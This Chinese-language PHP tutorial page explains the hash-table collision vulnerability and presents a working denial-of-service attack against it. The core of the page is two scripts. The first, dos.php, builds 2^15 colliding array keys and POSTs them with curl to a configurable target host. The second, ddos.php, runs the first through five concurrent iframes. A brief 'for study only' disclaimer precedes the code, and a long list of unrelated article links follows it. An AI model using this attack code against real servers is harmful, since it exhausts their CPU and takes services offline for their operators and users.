PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
php自动适应范围的分页代码
Aug 05 PHP
PHPMyAdmin 快速配置方法
May 11 PHP
PhpMyAdmin出现export.php Missing parameter: what /export_type错误解决方法
Aug 09 PHP
php 启动时报错的简单解决方法
Jan 27 PHP
php计算当前程序执行时间示例
Apr 24 PHP
PHP自定session保存路径及删除、注销与写入的方法
Nov 18 PHP
php脚本运行时的超时机制详解
Feb 17 PHP
PHP递归获取目录内所有文件的实现方法
Nov 01 PHP
Yii2实现中国省市区三级联动实例
Feb 08 PHP
php微信公众号开发之关键词回复
Oct 20 PHP
PHP PDOStatement::errorCode讲解
Jan 31 PHP
PHP hebrev()函数用法讲解
Feb 21 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
php导入模块文件分享
2015/03/17 PHP
Yii中CGridView实现批量删除的方法
2015/12/28 PHP
PHP开发中常用的十个代码样例
2016/02/02 PHP
PHP如何通过带尾指针的链表实现'队列'
2020/10/22 PHP
asp批量修改记录的代码
2008/06/25 Javascript
JS之小练习代码
2008/10/12 Javascript
将input file的选择的文件清空的两种解决方案
2013/10/21 Javascript
Jquery 数组操作大全个人总结
2013/11/13 Javascript
JS正则表达式获取分组内容的方法详解
2013/11/15 Javascript
jquery控制表单输入框显示默认值的方法
2015/05/22 Javascript
js删除Array数组中指定元素的两种方法
2016/08/03 Javascript
使用BootStrap和Metroui设计的metro风格微网站或手机app界面
2016/10/21 Javascript
AngularJs 延时器、计时器实例代码
2017/09/16 Javascript
使用Vuex实现一个笔记应用的方法
2018/03/13 Javascript
JavaScript 对引擎、运行时、调用堆栈的概述理解
2018/10/22 Javascript
微信小程序实现列表页的点赞和取消点赞功能
2018/11/02 Javascript
详细教你微信公众号正文页SVG交互开发技巧
2019/07/25 Javascript
[01:11]辉夜杯战队访谈宣传片—CDEC.Y
2015/12/26 DOTA
Python 元组(Tuple)操作详解
2014/03/11 Python
python统计一个文本中重复行数的方法
2014/11/19 Python
一行python实现树形结构的方法
2019/08/09 Python
Python中如何添加自定义模块
2020/06/09 Python
基于Pytorch版yolov5的滑块验证码破解思路详解
2021/02/25 Python
美的官方商城:Midea
2016/09/14 全球购物
美国一家主打母婴用品的团购网站:zulily
2017/09/19 全球购物
Hello Molly美国:女性时尚在线
2019/08/26 全球购物
Swanson中国官网:美国斯旺森健康产品公司
2021/03/01 全球购物
运动会通讯稿300字
2014/02/02 职场文书
行政监察建议书
2014/05/19 职场文书
信息管理与信息系统专业求职信
2014/06/21 职场文书
公司员工活动策划方案
2014/08/20 职场文书
暑期社会实践个人总结
2015/03/06 职场文书
工程款催款函
2015/06/24 职场文书
2015国庆66周年宣传语
2015/07/14 职场文书
工作违纪的检讨书范文
2019/07/09 职场文书
MyBatis-Plus 批量插入数据的操作方法
2021/09/25 Java/Android